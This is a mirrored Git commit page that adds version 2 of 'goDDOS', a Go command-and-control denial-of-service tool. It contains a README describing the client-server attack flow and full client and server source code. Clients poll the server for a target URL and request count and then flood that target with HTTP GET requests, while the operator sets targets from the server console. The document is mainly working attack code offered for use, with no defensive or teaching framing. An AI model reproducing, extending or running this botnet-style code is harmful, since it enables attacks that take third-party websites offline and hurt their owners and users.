mirror of
https://github.com/arnaucube/goDDOS.git
synced 2026-02-06 19:16:41 +01:00
implemented v2
This commit is contained in:
24
README.md
24
README.md
@@ -5,9 +5,33 @@ https://en.wikipedia.org/wiki/Denial-of-service_attack
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
### v1
|
||||
This version works as:
|
||||
- the client every X time try to connect to the server
|
||||
- when the server gets a new connection from a client, stores that connection in memory
|
||||
- when a new order is written in the cmd of the server, sends that order to all the stored clients
|
||||
- each client receive the order and starts the attack
|
||||
|
||||
example command line on the server:
|
||||
```
|
||||
ddos http://website.com 10
|
||||
|
||||
ddos [website] [num of gets for each client]
|
||||
```
|
||||
|
||||
### v2
|
||||
This version works as:
|
||||
- the server have an endpoint where is placed the current order
|
||||
- each client every X time, performs a GET to the endpoint of the server, to see if there is any new order
|
||||
- when a new order is written in the cmd of the server, it will return that order in the server endpoint
|
||||
- then, the clients goes to the endpoint to get the order
|
||||
- once the client have the order, starts the attack
|
||||
|
||||
example command line on the server:
|
||||
```
|
||||
http://website.com 10
|
||||
|
||||
[website] [num of gets for each client]
|
||||
```
|
||||
|
||||
61
v2/client/main.go
Normal file
61
v2/client/main.go
Normal file
@@ -0,0 +1,61 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
const SERVER = "127.0.0.1:3000"
|
||||
const sleeptime = 3000
|
||||
|
||||
type Order struct {
|
||||
Target string `json:"target"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
var order Order
|
||||
|
||||
/*
|
||||
note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development
|
||||
*/
|
||||
|
||||
func runDos(target string, count int) {
|
||||
for i := 0; i < count; i++ {
|
||||
_, err := http.Get(target)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target)
|
||||
}
|
||||
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
|
||||
color.Green(" - all requests finalized")
|
||||
}
|
||||
func main() {
|
||||
for {
|
||||
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
|
||||
fmt.Println(" - getting order from server")
|
||||
res, err := http.Get("http://" + SERVER)
|
||||
if err != nil {
|
||||
fmt.Println("server not alive")
|
||||
time.Sleep(sleeptime * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
decoder := json.NewDecoder(res.Body)
|
||||
err = decoder.Decode(&order)
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
if order.Target != "" {
|
||||
fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
|
||||
color.Yellow("running Dos")
|
||||
runDos(order.Target, order.Count)
|
||||
}
|
||||
time.Sleep(sleeptime * time.Millisecond)
|
||||
}
|
||||
}
|
||||
39
v2/server/cli.go
Normal file
39
v2/server/cli.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//validURL checks if an url is a valid url
|
||||
func validURL(url string) bool {
|
||||
return true
|
||||
}
|
||||
func consoleInput() { //example: ddos http://web.com 4
|
||||
newcommand := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
fmt.Print("enter new order ([target] [count]): ")
|
||||
text, _ := newcommand.ReadString('\n')
|
||||
text = strings.TrimSpace(text)
|
||||
if text != "" {
|
||||
fmt.Println("console input command: " + text)
|
||||
t := strings.Split(text, " ")
|
||||
count, err := strconv.Atoi(t[1])
|
||||
if err != nil {
|
||||
fmt.Println("[error]: count parameter must be an integer")
|
||||
continue
|
||||
}
|
||||
if t[0] == "null" || t[0] == "none" {
|
||||
t[0] = ""
|
||||
}
|
||||
if validURL(t[0]); count >= 0 {
|
||||
currentOrder.Target = t[0]
|
||||
currentOrder.Count = count
|
||||
fmt.Println(currentOrder)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
53
v2/server/main.go
Normal file
53
v2/server/main.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
const PORT = "3000"
|
||||
|
||||
type Order struct {
|
||||
Target string `json:"target"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
var currentOrder Order
|
||||
|
||||
func getOrder(w http.ResponseWriter, r *http.Request) {
|
||||
jsonr, err := json.Marshal(currentOrder)
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
fmt.Fprintln(w, string(jsonr))
|
||||
}
|
||||
|
||||
func handleRequests() {
|
||||
http.HandleFunc("/", getOrder)
|
||||
log.Fatal(http.ListenAndServe(":"+PORT, nil))
|
||||
}
|
||||
|
||||
func main() {
|
||||
asciiTitle := `
|
||||
|
||||
_____ _____ ____ _____
|
||||
| __ \| __ \ / __ \ / ____|
|
||||
__ _ ___ | | | | | | | | | | (___
|
||||
/ _' |/ _ \| | | | | | | | | |\___ \
|
||||
| (_| | (_) | |__| | |__| | |__| |____) |
|
||||
\__, |\___/|_____/|_____/ \____/|_____/
|
||||
__/ |
|
||||
|___/ v.2
|
||||
`
|
||||
color.Blue(asciiTitle)
|
||||
|
||||
fmt.Println("server running at port " + PORT)
|
||||
|
||||
go consoleInput()
|
||||
|
||||
handleRequests()
|
||||
}
|
||||
Reference in New Issue
Block a user